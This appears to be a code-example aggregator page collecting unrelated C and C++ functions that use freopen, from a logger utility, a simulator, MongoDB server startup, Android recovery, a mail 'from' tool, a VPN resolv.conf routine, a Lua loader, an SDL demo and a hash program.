	while ((opt = getopt(argc, argv, "it:p:f:")) != EOF)
		switch (opt) {

		case 't':		/* tag */
			tag = optarg;
			break;

		case 'p':		/* priority */
			pri = pencode(optarg);
			break;

		case 'i':		/* log process id also */
			logflags |= LOG_PID;
			pid_len = sprintf(tmp, "%ld", (long)getpid());
			pid_len = (pid_len <= 0) ? 0 : pid_len +2;
			break;

		case 'f':		/* file to log */
			if (strcmp(optarg, "-") == 0)
				break;
			infile = optarg;
			if (freopen(infile, "r", stdin) == NULL) {
				(void) fprintf(stderr, gettext("logger: "));
				perror(infile);
				exit(1);
			}
			break;

		default:
			usage();
		}

		argc -= optind;
		argv = &argv[optind];

	if ((tag == NULL) && ((tag = getlogin()) == NULL)) {
		u = getuid();
		if ((pw = getpwuid(u)) == NULL) {
			(void) sprintf(fmt_uid, "%u", u);
			tag = fmt_uid;
		} else
			tag = pw->pw_name;
	}

	/* setup for logging */
	openlog(tag, logflags, 0);
	(void) fclose(stdout);

	/* log input line if appropriate */
	if (argc > 0) {
		/*
		 * Log arguments from command line
		 */
		int i;

		len = 0;
		for (i = 0; i < argc; i++) {
			len += strlen(argv[i]) + 1;	/* add 1 for <space> */
		}
		if ((buf = malloc(len + 1)) == NULL) {
			perror("logger");
			exit(1);
		}
		buf[0] = '\0';
		for (i = 0; i < argc; i++) {
			if (i != 0) {
				(void) strcat(buf, " ");
			}
			(void) strcat(buf, argv[i]);
		}
#ifdef DEBUG
		(void) fprintf(stderr, "len=%d, buf >%s<\n", len, buf);
#endif
		syslog(pri, "%s", buf);
	} else {
		/*
		 * Log arguments from stdin (or input file).
		 * When reading from stdin, logger grows its buffer if
		 * needed, to handle long lines.
		 */
		if ((buf = malloc(LOGGER_BUFLEN)) == NULL) {
			perror("logger");
			exit(1);
		}
		buflen = LOGGER_BUFLEN;
		p = buf;
		endp = buf + buflen;
		offset = 0;
		while (fgets(p, endp - p, stdin) != NULL) {
			len = strlen(p);
			if (p[len - 1] == '\n') {
#ifdef DEBUG
				(void) fprintf(stderr,
				    "p-buf =%d, len=%d, buflen=%d, buf >%s<\n",
				    p-buf, len, buflen, buf);
#endif
				syslog(pri, "%s", buf);
				p = buf;
				offset = 0;
			} else if (len < endp - p - 1) {
				/* short read or line with no <newline> */
				p += len;
				offset += len;
#ifdef DEBUG
				(void) fprintf(stderr,
				    "p-buf=%d, len=%d, buflen=%d, buf >%s<\n",
				    p-buf, len, buflen, buf);
#endif
				continue;
			} else {
				/* line longer than buflen, so get larger buf */
				buflen += LOGGER_BUFLEN;
				offset += len;
#ifdef DEBUG
				(void) fprintf(stderr,
				    "Realloc endp-p=%d, len=%d, offset=%d, "
				    "buflen %d\n",
				    endp - p, len, offset, buflen);
#endif
				if ((buf = realloc(buf, buflen)) == NULL) {
					perror("logger");
					exit(1);
				}
				p = buf + offset;
				endp = buf + buflen;
			}
		}	/* while */

		if (feof(stdin)) {
			if (p > buf) {
				/* the last line did not end with newline */
#ifdef DEBUG
				(void) fprintf(stderr,
				    "(2) p-buf=%d, len=%d, buflen=%d, "
				    "buf >%s<\n",
				    p-buf, len, buflen, buf);
#endif
				syslog(pri, "%s", buf);
			}
		} else {
			/*
			 * fgets() encountered an error.  Log unlogged data
			 * from earlier fgets() (if any).  Write null byte
			 * after last full read, in case the fgets() that
			 * encountered error removed it and failed to null
			 * terminate.
			 */
			perror("logger");
			if (p > buf) {
				*p = '\0';
				syslog(pri, "%s", buf);
			}
			status = 1;
		}
	}	/* else !(argc > 0) */
	free(buf);
	return (status);
}
int
main (int argc, char **argv, char **envp)
{
    char *s ;
    s = NULL ;
    int i, exit_code, j;

#ifndef _MSC_VER
    /* catch SIGUSR1 and dump intermediate stats */
    signal (SIGUSR1, signal_sim_stats);

    /* catch SIGUSR2 and dump final stats and exit */
    signal (SIGUSR2, signal_exit_now);
#endif /* _MSC_VER */

    /* register an error handler */
    fatal_hook (sim_print_stats);

    /* set up a non-local exit point */
    if ((exit_code = setjmp (sim_exit_buf)) != 0)
    {
	/* special handling as longjmp cannot pass 0 */
	exit_now (exit_code - 1);
    }

    /* register global options */
    sim_odb = opt_new (orphan_fn);
    opt_reg_flag (sim_odb, "-h", "print help message", &help_me, /* default */ FALSE, /* !print */ FALSE, NULL);
    opt_reg_flag (sim_odb, "-v", "verbose operation", &verbose, /* default */ FALSE, /* !print */ FALSE, NULL);
#ifdef DEBUG
    opt_reg_flag (sim_odb, "-d", "enable debug message", &debugging, /* default */ FALSE, /* !print */ FALSE, NULL);
#endif /* DEBUG */
    opt_reg_flag (sim_odb, "-i", "start in Dlite debugger", &dlite_active, /* default */ FALSE, /* !print */ FALSE, NULL);
    opt_reg_int (sim_odb, "-seed", "random number generator seed (0 for timer seed)", &rand_seed, /* default */ 1, /* print */ TRUE, NULL);
    opt_reg_flag (sim_odb, "-q", "initialize and terminate immediately", &init_quit, /* default */ FALSE, /* !print */ FALSE, NULL);

#ifdef SMT_SS
    fprintf (stderr, "Note: -chkpt option is disabled for SMT version \n");
#else
    opt_reg_string (sim_odb, "-chkpt", "restore EIO trace execution from <fname>", &sim_chkpt_fname, /* default */ NULL, /* !print */ FALSE, NULL);
#endif

#ifdef REMOVE_MY_CODE
    opt_reg_string (sim_odb, "-chkpt", "restore EIO trace execution from <fname>", &sim_chkpt_fname, /* default */ NULL, /* !print */ FALSE, NULL);
#endif

    /* stdio redirection options */
    opt_reg_string (sim_odb, "-redir:sim", "redirect simulator output to file (non-interactive only)", &sim_simout,
		    /* default */ NULL, /* !print */ FALSE, NULL);
#ifdef SMT_SS
#ifndef PROG_OUT_FROM_SIM_OUT
    fprintf (stderr, "Note: -redir:prog option is controled in *.bnc configuration " "file of each program in SMT version \n");
#else // !PROG_OUT_FROM_SIM_OUT
    fprintf (stderr, "Note: -redir:prog option is controled by combining the *.bnc configuration " "setting with the -redir:sim option. \n");
#endif // !PROG_OUT_FROM_SIM_OUT
#else
    opt_reg_string (sim_odb, "-redir:prog", "redirect simulated program output to file", &sim_progout, /* default */ NULL, /* !print */ FALSE, NULL);
#endif

#ifdef REMOVE_MY_CODE
    opt_reg_string (sim_odb, "-redir:prog", "redirect simulated program output to file", &sim_progout, /* default */ NULL, /* !print */ FALSE, NULL);
#endif

    /* Dump files to load assembly code and dumping stats etc. */
    opt_reg_string (sim_odb, "-redir:dump", "redirect simulated program output to file", &sim_str_dump, /* default */ NULL, /* !print */ FALSE, NULL);

#ifndef _MSC_VER
    /* scheduling priority option */
    opt_reg_int (sim_odb, "-nice", "simulator scheduling priority", &nice_priority,
		 /* default */ NICE_DEFAULT_VALUE, /* print */ TRUE, NULL);
#endif

    /* register all simulator-specific options */
    sim_reg_options (sim_odb);

    /* parse simulator options */
    exec_index = -1;

#ifdef REMOVE_MY_CODE
    fprintf (stderr, "sim_odb %lu \n", (long) sim_odb);
    fprintf (stderr, "sim: command line: ");
    for (i = 0; i < argc; i++)
	fprintf (stderr, "%s ", argv[i]);
    fprintf (stderr, "\n");
    {
	char name[256];

	gethostname (name, 256);
	fprintf (stderr, "Run on %s\n", name);
    }
#endif
    opt_process_options (sim_odb, argc, argv);
    /* redirect I/O? */
    if (sim_simout != NULL)
    {
	/* send simulator non-interactive output (STDERR) to file SIM_SIMOUT */
	if (fflush (stderr))
	    fatal ("unable to flush stderr ");
	else
	{
	   if (!freopen (sim_simout, "w", stderr))
		fatal ("unable to redirect simulator output to file `%s'", sim_simout);
	}

    }

#ifndef SMT_SS
    if (sim_progout != NULL)
    {
	/* redirect simulated program output to file SIM_PROGOUT */
	sim_progfd = fopen (sim_progout, "w");
	if (!sim_progfd)
	    fatal ("unable to redirect program output to file `%s'", sim_progout);
    }
#endif

    /* need at least two argv values to run */
    if (argc < 2)
    {
	banner (stderr, argc, argv);
	usage (stderr, argc, argv);
	fprintf (stderr, "error:exit from main argc < 2\n");
	exit (1);
    }

    /* opening banner */
    banner (stderr, argc, argv);

    if (help_me)
    {
	/* print help message and exit */
	usage (stderr, argc, argv);
	fprintf (stderr, "error:exit from main help_me\n");
	exit (1);
    }

    /* seed the random number generator */
    if (rand_seed == 0)
    {
	/* seed with the timer value, true random */
	mysrand (time ((time_t *) NULL));
    }
    else
    {
	/* seed with default or user-specified random number generator seed */
	mysrand (rand_seed);
    }

    /* exec_index is set in orphan_fn() */
    if (exec_index == -1)
    {
	/* executable was not found */
	fprintf (stderr, "error: no executable specified\n");
	usage (stderr, argc, argv);
	exit (1);
    }
    /* else, exec_index points to simulated program arguments */

    /* check simulator-specific options */
    sim_check_options (sim_odb, argc, argv);

#ifndef _MSC_VER
    /* set simulator scheduling priority */
    if (nice (0) < nice_priority)
    {
	if (nice (nice_priority - nice (0)) < 0)
	    fatal ("could not renice simulator process");
    }
#endif
    /* emit the command line for later reuse */
    /* copied here for easier debugging */
    fprintf (stderr, "sim: command line: ");
    for (i = 0; i < argc; i++)
	fprintf (stderr, "%s ", argv[i]);
    fprintf (stderr, "\n");
    {
	char name[256];

	gethostname (name, 256);
	fprintf (stderr, "Run on %s\n", name);
    }


    /* default architected value... */
    sim_num_insn = 0;

#ifdef BFD_LOADER
    /* initialize the bfd library */
    bfd_init ();
#endif /* BFD_LOADER */

    /* initialize the instruction decoder */
    md_init_decoder ();

#ifndef SMT_SS
    /* initialize all simulation modules */
    sim_init ();
#endif

    /* initialize architected state */
#ifdef SMT_SS
    sim_load_threads (argc - exec_index, argv + exec_index, envp);
#else
    sim_load_prog (argv[exec_index], argc - exec_index, argv + exec_index, envp);
#endif

#ifdef SMT_SS
    /* initialize all simulation modules */
    sim_init ();
#endif

#ifndef PARALLEL_EMUL
    /* register all simulator stats */
    sim_sdb = stat_new ();
    sim_reg_stats (sim_sdb);
#endif
    
    /* record start of execution time, used in rate stats */
    sim_start_time = time ((time_t *) NULL);

    /* emit the command line for later reuse */
    fprintf (stderr, "sim: command line: ");
    for (i = 0; i < argc; i++)
	fprintf (stderr, "%s ", argv[i]);
    fprintf (stderr, "\n");
    {
	char name[256];

	gethostname (name, 256);
	fprintf (stderr, "Run on %s\n", name);
    }

    /* output simulation conditions */
    s = ctime (&sim_start_time);
    if (s[strlen (s) - 1] == '\n')
	s[strlen (s) - 1] = '\0';
#ifdef __VERSION__
#define COMPILEDWITH "gcc version " __VERSION__
#else
#define COMPILEDWITH "unknown compiler"
#endif
    fprintf (stderr, "\nsim: main.c compiled on " __DATE__ " at " __TIME__ " with " COMPILEDWITH);
    fprintf (stderr, "\nsim: simulation started @ %s, options follow:\n", s);
    opt_print_options (sim_odb, stderr, /* short */ TRUE, /* notes */ TRUE);
    sim_aux_config (stderr);
    fprintf (stderr, "\n");

    /* omit option dump time from rate stats */
    sim_start_time = time ((time_t *) NULL);

    if (init_quit)
	exit_now (0);

    running = TRUE;

    for (j = 0; j < 4; j++)
    {
	for (i = 0; i < NUM_COM_REGS; i++)
	{
	    common_regs_s[j][i].regs_lock = 0;
	    common_regs_s[j][i].address = 0;
	}
    }
    //outFile = fopen ("simOutFile.txt", "w");
//    fprintf(outFile,"fanglei\n");           // fprintf test @ fanglei
//    fflush(outFile);                        // flush @ fanglei
    if(!strcmp(argv[9], "ilink1030.BNC"))
	ilink_run = 1;
    else
	ilink_run = 0;
    if(!strcmp(argv[9], "../../BNCfor16/em3d1030.BNC"))
	em3d_run = 1;
    else
	em3d_run = 0;
    sim_main ();

    /* simulation finished early */
    exit_now (0);
#ifdef __GNUC__
    return 0;
#endif
}
    bool initializeServerGlobalState(bool isMongodShutdownSpecialCase) {

        Listener::globalTicketHolder.resize( cmdLine.maxConns );

#ifndef _WIN32
        if (!fs::is_directory(cmdLine.socket)) {
            cout << cmdLine.socket << " must be a directory" << endl;
            return false;
        }

        if (cmdLine.doFork) {
            fassert(16447, !cmdLine.logpath.empty() || cmdLine.logWithSyslog);

            cout.flush();
            cerr.flush();

            cmdLine.parentProc = getpid();

            // facilitate clean exit when child starts successfully
            setupLaunchSignals();

            cout << "about to fork child process, waiting until server is ready for connections."
                 << endl;

            pid_t child1 = fork();
            if (child1 == -1) {
                cout << "ERROR: stage 1 fork() failed: " << errnoWithDescription();
                _exit(EXIT_ABRUPT);
            }
            else if (child1) {
                // this is run in the original parent process
                int pstat;
                waitpid(child1, &pstat, 0);

                if (WIFEXITED(pstat)) {
                    if (WEXITSTATUS(pstat)) {
                        cout << "ERROR: child process failed, exited with error number "
                             << WEXITSTATUS(pstat) << endl;
                    }
                    else {
                        cout << "child process started successfully, parent exiting" << endl;
                    }

                    _exit(WEXITSTATUS(pstat));
                }

                _exit(50);
            }

            if ( chdir("/") < 0 ) {
                cout << "Cant chdir() while forking server process: " << strerror(errno) << endl;
                ::_exit(-1);
            }
            setsid();

            cmdLine.leaderProc = getpid();

            pid_t child2 = fork();
            if (child2 == -1) {
                cout << "ERROR: stage 2 fork() failed: " << errnoWithDescription();
                _exit(EXIT_ABRUPT);
            }
            else if (child2) {
                // this is run in the middle process
                int pstat;
                cout << "forked process: " << child2 << endl;
                waitpid(child2, &pstat, 0);

                if ( WIFEXITED(pstat) ) {
                    _exit( WEXITSTATUS(pstat) );
                }

                _exit(51);
            }

            // this is run in the final child process (the server)

            // stdout handled in initLogging
            //fclose(stdout);
            //freopen("/dev/null", "w", stdout);

            fclose(stderr);
            fclose(stdin);

            FILE* f = freopen("/dev/null", "w", stderr);
            if ( f == NULL ) {
                cout << "Cant reassign stderr while forking server process: " << strerror(errno) << endl;
                return false;
            }

            f = freopen("/dev/null", "r", stdin);
            if ( f == NULL ) {
                cout << "Cant reassign stdin while forking server process: " << strerror(errno) << endl;
                return false;
            }

            setupCoreSignals();
            setupSignals( true );
        }

        if (cmdLine.logWithSyslog) {
            StringBuilder sb;
            sb << cmdLine.binaryName << "." << cmdLine.port;
            Logstream::useSyslog( sb.str().c_str() );
        }
#endif
        if (!cmdLine.logpath.empty() && !isMongodShutdownSpecialCase) {
            fassert(16448, !cmdLine.logWithSyslog);
            string absoluteLogpath = boost::filesystem::absolute(
                    cmdLine.logpath, cmdLine.cwd).string();
            if (!initLogging(absoluteLogpath, cmdLine.logAppend)) {
                cout << "Bad logpath value: \"" << absoluteLogpath << "\"; terminating." << endl;
                return false;
            }
        }

        if (!cmdLine.pidFile.empty()) {
            writePidFile(cmdLine.pidFile);
        }

        if (!cmdLine.keyFile.empty()) {

            if (!setUpSecurityKey(cmdLine.keyFile)) {
                // error message printed in setUpPrivateKey
                return false;
            }

            noauth = false;
        }

#ifdef MONGO_SSL
        if (cmdLine.sslOnNormalPorts) {

            if ( cmdLine.sslPEMKeyFile.size() == 0 ) {
                log() << "need sslPEMKeyFile" << endl;
                return false;
            }

            cmdLine.sslServerManager = new SSLManager( false );
            if ( ! cmdLine.sslServerManager->setupPEM( cmdLine.sslPEMKeyFile , cmdLine.sslPEMKeyPassword ) ) {
                return false;
            }
        }
        else if ( cmdLine.sslPEMKeyFile.size() || cmdLine.sslPEMKeyPassword.size() ) {
            log() << "need to enable sslOnNormalPorts" << endl;
            return false;
        }
#endif

        return true;
    }
int
main(int argc, char **argv) {

    if (argc == 2 && strcmp(argv[1], "adbd") == 0) {
        adb_main();
        return 0;
    }

    // Recovery needs to install world-readable files, so clear umask
    // set by init
    umask(0);

    if (strcmp(basename(argv[0]), "recovery") != 0)
    {
        if (strstr(argv[0], "minizip") != NULL)
            return minizip_main(argc, argv);
        if (strstr(argv[0], "dedupe") != NULL)
            return dedupe_main(argc, argv);
        if (strstr(argv[0], "flash_image") != NULL)
            return flash_image_main(argc, argv);
        if (strstr(argv[0], "volume") != NULL)
            return volume_main(argc, argv);
        if (strstr(argv[0], "edify") != NULL)
            return edify_main(argc, argv);
        if (strstr(argv[0], "dump_image") != NULL)
            return dump_image_main(argc, argv);
        if (strstr(argv[0], "erase_image") != NULL)
            return erase_image_main(argc, argv);
        if (strstr(argv[0], "mkyaffs2image") != NULL)
             return mkyaffs2image_main(argc, argv);
        if (strstr(argv[0], "make_ext4fs") != NULL)
            return make_ext4fs_main(argc, argv);
        if (strstr(argv[0], "unyaffs") != NULL)
            return unyaffs_main(argc, argv);
        if (strstr(argv[0], "nandroid"))
            return nandroid_main(argc, argv);
        if (strstr(argv[0], "bu") == argv[0] + strlen(argv[0]) - 2)
            return bu_main(argc, argv);
        if (strstr(argv[0], "reboot"))
            return reboot_main(argc, argv);
#ifdef BOARD_RECOVERY_HANDLES_MOUNT
        if (strstr(argv[0], "mount") && argc == 2 && !strstr(argv[0], "umount"))
        {
            load_volume_table();
            return ensure_path_mounted(argv[1]);
        }
#endif
        if (strstr(argv[0], "poweroff")){
            return reboot_main(argc, argv);
        }
        if (strstr(argv[0], "setprop"))
            return setprop_main(argc, argv);
        if (strstr(argv[0], "getprop"))
            return getprop_main(argc, argv);
        return busybox_driver(argc, argv);
    }
    __system("/sbin/postrecoveryboot.sh");

    int is_user_initiated_recovery = 0;
    time_t start = time(NULL);

    // If these fail, there's not really anywhere to complain...
    freopen(TEMPORARY_LOG_FILE, "a", stdout); setbuf(stdout, NULL);
    freopen(TEMPORARY_LOG_FILE, "a", stderr); setbuf(stderr, NULL);
    printf("Starting recovery on %s", ctime(&start));

    device_ui_init(&ui_parameters);
    ui_init();
    ui_print(EXPAND(RECOVERY_VERSION)"\n");
    load_volume_table();
    process_volumes();
    LOGI("Processing arguments.\n");
    get_args(&argc, &argv);

    int previous_runs = 0;
    const char *send_intent = NULL;
    const char *update_package = NULL;
    int wipe_data = 0, wipe_cache = 0;
    int sideload = 0;
    int headless = 0;

    LOGI("Checking arguments.\n");
    int arg;
    while ((arg = getopt_long(argc, argv, "", OPTIONS, NULL)) != -1) {
        switch (arg) {
        case 'p': previous_runs = atoi(optarg); break;
        case 's': send_intent = optarg; break;
        case 'u': update_package = optarg; break;
        case 'w': 
#ifndef BOARD_RECOVERY_ALWAYS_WIPES
        wipe_data = wipe_cache = 1;
#endif
        break;
        case 'h':
            ui_set_background(BACKGROUND_ICON_CID);
            ui_show_text(0);
            headless = 1;
            break;
        case 'c': wipe_cache = 1; break;
        case 't': ui_show_text(1); break;
        case 'l': sideload = 1; break;
        case '?':
            LOGE("Invalid command argument\n");
            continue;
        }
    }

    struct selinux_opt seopts[] = {
      { SELABEL_OPT_PATH, "/file_contexts" }
    };

    sehandle = selabel_open(SELABEL_CTX_FILE, seopts, 1);

    if (!sehandle) {
        fprintf(stderr, "Warning: No file_contexts\n");
        // ui_print("Warning:  No file_contexts\n");
    }

    LOGI("device_recovery_start()\n");
    device_recovery_start();

    printf("Command:");
    for (arg = 0; arg < argc; arg++) {
        printf(" \"%s\"", argv[arg]);
    }
    printf("\n");

    if (update_package) {
        // For backwards compatibility on the cache partition only, if
        // we're given an old 'root' path "CACHE:foo", change it to
        // "/cache/foo".
        if (strncmp(update_package, "CACHE:", 6) == 0) {
            int len = strlen(update_package) + 10;
            char* modified_path = malloc(len);
            strlcpy(modified_path, "/cache/", len);
            strlcat(modified_path, update_package+6, len);
            printf("(replacing path \"%s\" with \"%s\")\n",
                   update_package, modified_path);
            update_package = modified_path;
        }
    }
    printf("\n");

    property_list(print_property, NULL);
    printf("\n");

    int status = INSTALL_SUCCESS;

    if (update_package != NULL) {
        status = install_package(update_package);
        if (status != INSTALL_SUCCESS) ui_print("Installation aborted.\n");
    } else if (wipe_data) {
        if (device_wipe_data()) status = INSTALL_ERROR;
        ignore_data_media_workaround(1);
        if (erase_volume("/data")) status = INSTALL_ERROR;
        ignore_data_media_workaround(0);
        if (has_datadata() && erase_volume("/datadata")) status = INSTALL_ERROR;
        if (wipe_cache && erase_volume("/cache")) status = INSTALL_ERROR;
        if (status != INSTALL_SUCCESS) ui_print("Data wipe failed.\n");
    } else if (wipe_cache) {
        if (wipe_cache && erase_volume("/cache")) status = INSTALL_ERROR;
        if (status != INSTALL_SUCCESS) ui_print("Cache wipe failed.\n");
    } else if (sideload) {
        signature_check_enabled = 0;
        if (!headless)
          ui_set_show_text(1);
        if (0 == apply_from_adb()) {
            status = INSTALL_SUCCESS;
            ui_set_show_text(0);
        }
    } else {
        LOGI("Checking for extendedcommand...\n");
        status = INSTALL_ERROR;  // No command specified
        // we are starting up in user initiated recovery here
        // let's set up some default options
        signature_check_enabled = 0;
        script_assert_enabled = 0;
        is_user_initiated_recovery = 1;
        if (!headless) {
          ui_set_show_text(1);
          ui_set_background(BACKGROUND_ICON_CLOCKWORK);
        }
        
        if (extendedcommand_file_exists()) {
            LOGI("Running extendedcommand...\n");
            int ret;
            if (0 == (ret = run_and_remove_extendedcommand())) {
                status = INSTALL_SUCCESS;
                ui_set_show_text(0);
            }
            else {
                handle_failure(ret);
            }
        } else {
            LOGI("Skipping execution of extendedcommand, file not found...\n");
        }
    }

    setup_adbd();

    if (headless) {
      headless_wait();
    }
    if (status != INSTALL_SUCCESS && !is_user_initiated_recovery) {
        ui_set_show_text(1);
        ui_set_background(BACKGROUND_ICON_ERROR);
    }
    else if (status != INSTALL_SUCCESS || ui_text_visible()) {
        prompt_and_wait();
    }

    verify_root_and_recovery();

    // If there is a radio image pending, reboot now to install it.
    maybe_install_firmware_update(send_intent);

    // Otherwise, get ready to boot the main system...
    finish_recovery(send_intent);

    sync();
    if(!poweroff) {
        ui_print("Rebooting...\n");
        android_reboot(ANDROID_RB_RESTART, 0, 0);
    }
    else {
        ui_print("Shutting down...\n");
        android_reboot(ANDROID_RB_POWEROFF, 0, 0);
    }
    return EXIT_SUCCESS;
}
Beispiel #12
0
int
main(int argc, char **argv)
{
	struct passwd *pwd;
	int ch, count, newline;
	const char *file;
	char *sender, *p;
#if MAXPATHLEN > BUFSIZ
	char buf[MAXPATHLEN];
#else
	char buf[BUFSIZ];
#endif

	file = sender = NULL;
	count = -1;
	while ((ch = getopt(argc, argv, "cf:s:")) != -1)
		switch (ch) {
		case 'c':
			count = 0;
			break;
		case 'f':
			file = optarg;
			break;
		case 's':
			sender = optarg;
			for (p = sender; *p; ++p)
				*p = tolower(*p);
			break;
		case '?':
		default:
			usage();
		}
	argv += optind;

	if (file == NULL) {
		if (*argv) {
			snprintf(buf, sizeof(buf), "%s/%s", _PATH_MAILDIR, *argv);
			file  = buf;
		} else {
			if ((file = getenv("MAIL")) == NULL) {
				if (!(pwd = getpwuid(getuid())))
					errx(1, "no password file entry for you");
				file = pwd->pw_name;
				snprintf(buf, sizeof(buf),
				    "%s/%s", _PATH_MAILDIR, file);
				file = buf;
			}
		}
	}

	/* read from stdin */
	if (strcmp(file, "-") == 0) {
	} 
	else if (freopen(file, "r", stdin) == NULL) {
		err(1, "can't read %s", file);
	}
	for (newline = 1; fgets(buf, sizeof(buf), stdin);) {
		if (*buf == '\n') {
			newline = 1;
			continue;
		}
		if (newline && !strncmp(buf, "From ", 5) &&
		    (!sender || match(buf + 5, sender))) {
			if (count != -1)
				count++;
			else
				printf("%s", buf);
		}
		newline = 0;
	}
	if (count != -1)
		printf("There %s %d message%s in your incoming mailbox.\n",
		    count == 1 ? "is" : "are", count, count == 1 ? "" : "s"); 
	exit(0);
}
Beispiel #13
0
int ipv4_del_nameservers_from_resolv_conf(struct tunnel *tunnel)
{
	int ret = -1;
	FILE *file;
	struct stat stat;
	char ns1[27], ns2[27]; // 11 + 15 + 1
	char *buffer, *line;

	// If nameservers were already there before setting up tunnel,
	// don't delete them from /etc/resolv.conf
	if (!tunnel->ipv4.ns_are_new)
		return 0;

	if (tunnel->ipv4.ns1_addr.s_addr == 0)
		return 1;

	file = fopen("/etc/resolv.conf", "r+");
	if (file == NULL) {
		log_warn("Could not open /etc/resolv.conf (%s).\n",
		         strerror(errno));
		return 1;
	}

	if (fstat(fileno(file), &stat) == -1) {
		log_warn("Could not stat /etc/resolv.conf (%s).\n",
		         strerror(errno));
		goto err_close;
	}

	buffer = malloc(stat.st_size);
	if (buffer == NULL) {
		log_warn("Could not read /etc/resolv.conf (%s).\n",
		         "Not enough memory");
		goto err_close;
	}

	// Copy all file contents at once
	if (fread(buffer, stat.st_size, 1, file) != 1) {
		log_warn("Could not read /etc/resolv.conf.\n");
		goto err_free;
	}

	strcpy(ns1, "nameserver ");
	strncat(ns1, inet_ntoa(tunnel->ipv4.ns1_addr), 15);
	strcpy(ns2, "nameserver ");
	strncat(ns2, inet_ntoa(tunnel->ipv4.ns2_addr), 15);

	file = freopen("/etc/resolv.conf", "w", file);
	if (file == NULL) {
		log_warn("Could not reopen /etc/resolv.conf (%s).\n",
		         strerror(errno));
		goto err_free;
	}

	for (line = strtok(buffer, "\n"); line != NULL; line = strtok(NULL, "\n")) {
		if (strcmp(line, ns1) == 0) {
			log_debug("Deleting \"%s\" from /etc/resolv.conf.\n", ns1);
		} else if (strcmp(line, ns2) == 0) {
			log_debug("Deleting \"%s\" from /etc/resolv.conf.\n", ns1);
		} else {
			fputs(line, file);
			fputs("\n", file);
		}
	}

	ret = 0;

err_free:
	free(buffer);
err_close:
	fclose(file);

	return ret;
}
Beispiel #14
0
COMPAT53_API int luaL_loadfilex (lua_State *L, const char *filename, const char *mode) {
  compat53_LoadF lf;
  int status, readstatus;
  int c;
  int fnameindex = lua_gettop(L) + 1;  /* index of filename on the stack */
  if (filename == NULL) {
    lua_pushliteral(L, "=stdin");
    lf.f = stdin;
  }
  else {
    lua_pushfstring(L, "@%s", filename);
#if defined(_MSC_VER)
    /* This code is here to stop a deprecation error that stops builds
     * if a certain macro is defined. While normally not caring would
     * be best, some header-only libraries and builds can't afford to
     * dictate this to the user. A quick check shows that fopen_s this
     * goes back to VS 2005, and _fsopen goes back to VS 2003 .NET,
     * possibly even before that so we don't need to do any version
     * number checks, since this has been there since forever.
     */

    /* TO USER: if you want the behavior of typical fopen_s/fopen,
     * which does lock the file on VC++, define the macro used below to 0
    */
#if COMPAT53_FOPEN_NO_LOCK
    lf.f = _fsopen(filename, "r", _SH_DENYNO); /* do not lock the file in any way */
    if (lf.f == NULL)
      return compat53_errfile(L, "open", fnameindex);
#else /* use default locking version */
    if (fopen_s(&lf.f, filename, "r") != 0)
      return compat53_errfile(L, "open", fnameindex);
#endif /* Locking vs. No-locking fopen variants */
#else
    lf.f = fopen(filename, "r"); /* default stdlib doesn't forcefully lock files here */
    if (lf.f == NULL) return compat53_errfile(L, "open", fnameindex);
#endif
  }
  if (compat53_skipcomment(&lf, &c))  /* read initial portion */
    lf.buff[lf.n++] = '\n';  /* add line to correct line numbers */
  if (c == LUA_SIGNATURE[0] && filename) {  /* binary file? */
#if defined(_MSC_VER)
    if (freopen_s(&lf.f, filename, "rb", lf.f) != 0)
      return compat53_errfile(L, "reopen", fnameindex);
#else
    lf.f = freopen(filename, "rb", lf.f);  /* reopen in binary mode */
    if (lf.f == NULL) return compat53_errfile(L, "reopen", fnameindex);
#endif
    compat53_skipcomment(&lf, &c);  /* re-read initial portion */
  }
  if (c != EOF)
    lf.buff[lf.n++] = c;  /* 'c' is the first character of the stream */
  status = lua_load(L, &compat53_getF, &lf, lua_tostring(L, -1), mode);
  readstatus = ferror(lf.f);
  if (filename) fclose(lf.f);  /* close file (even in case of errors) */
  if (readstatus) {
    lua_settop(L, fnameindex);  /* ignore results from 'lua_load' */
    return compat53_errfile(L, "read", fnameindex);
  }
  lua_remove(L, fnameindex);
  return status;
}
int main(int argc, char *argv[])
{

  #ifdef __APPLE__ || __MACH__ || OSX
    glutInit(&argc,argv);
  #endif

  #ifdef LINUX
    setenv("__GL_SYNC_TO_VBLANK","1",true);
  #else
    // SDL console output hack
    freopen( "CON", "w", stdout );
  #endif


  /// configure the screen
  g_screen.setCaptionText("SDL EXAMPLE");
  g_screen.addFlags(SDL_SRCALPHA | SDL_ANYFORMAT | SDL_OPENGL);
//  g_screen.addFlags(SDL_FULLSCREEN);


  //Initialize
  if( g_screen.init() == false )
  {
      return 1;
  }


  // Init glew
  if (GLEW_OK != glewInit())
  {
    std::cout << "'glewInit()' failed." << std::endl;
    exit(0);
  }


  // some gl state calls
  glClearColor(0.0, 0.0, 0.0, 1.0);
  glEnable(GL_TEXTURE_2D);
//  glEnable(GL_CULL_FACE);
//  glCullFace(GL_BACK);
  glEnable(GL_DEPTH_TEST);
  glDepthFunc(GL_LESS);
  glEnable(GL_NORMALIZE);
  glDisable(GL_COLOR_MATERIAL);



  /// loading ...
  init();



  // main loop
  while (!g_input.getKeyState(SDLK_ESCAPE))
  {



      /// update event handler
      g_input.update();

      /// handle events
      checkEvents();


      if (g_frameDone == false)
      {
        /// render 3d content
        renderVolume();

        /// render 2d content
        render2d();


        glFlush();
        SDL_GL_SwapBuffers();
      }
  }


  // clean up sdl
  clean_up();



  return 0;
}
Beispiel #16
0
int main(int argc, char **argv) {
    uint8_t digest[DIGEST_SIZE], buf[BUFSIZE];
    size_t c, i;
    char *file;
    FILE *fp;

#if HMAC_MODE
    char *key;
    size_t keylen;

    if (argc < 2) {
        printf("Usage: %s <key> [FILE]\n", argv[0]);
        return 1;
    } else if (argc < 3) {
        file = "-";
    } else {
        file = argv[2];
    }
    key = argv[1];
    keylen = strlen(key);
#else
    if (argc < 2) {
        file = "-";
    } else {
        if (strcmp(argv[1], "--help") == 0) {
            printf("Usage: %s [FILE]\n", argv[0]);
            return 0;
        }
        file = argv[1];
    }
#endif

    if (strcmp(file, "-") == 0) {
        fp = stdin;
        freopen(NULL, "rb", stdin);
    } else if ((fp = fopen(file, "rb")) == NULL) {
        printf("cannot open %s\n", file);
        return 1;
    }

#if HMAC_MODE
    hmac_state S;
    DIGEST_INIT(&S, (uint8_t *) key, keylen);
#else
    state S;
    DIGEST_INIT(&S);
#endif

    while ((c = fread(buf, 1, BUFSIZE, fp)) > 0) {
        DIGEST_UPDATE(&S, buf, c * 8);

        if (feof(fp))
            break;
    }
    if (ferror(fp)) {
        printf("%s: read error\n", file);
        if (fp != stdin)
            fclose(fp);
        return 1;
    }
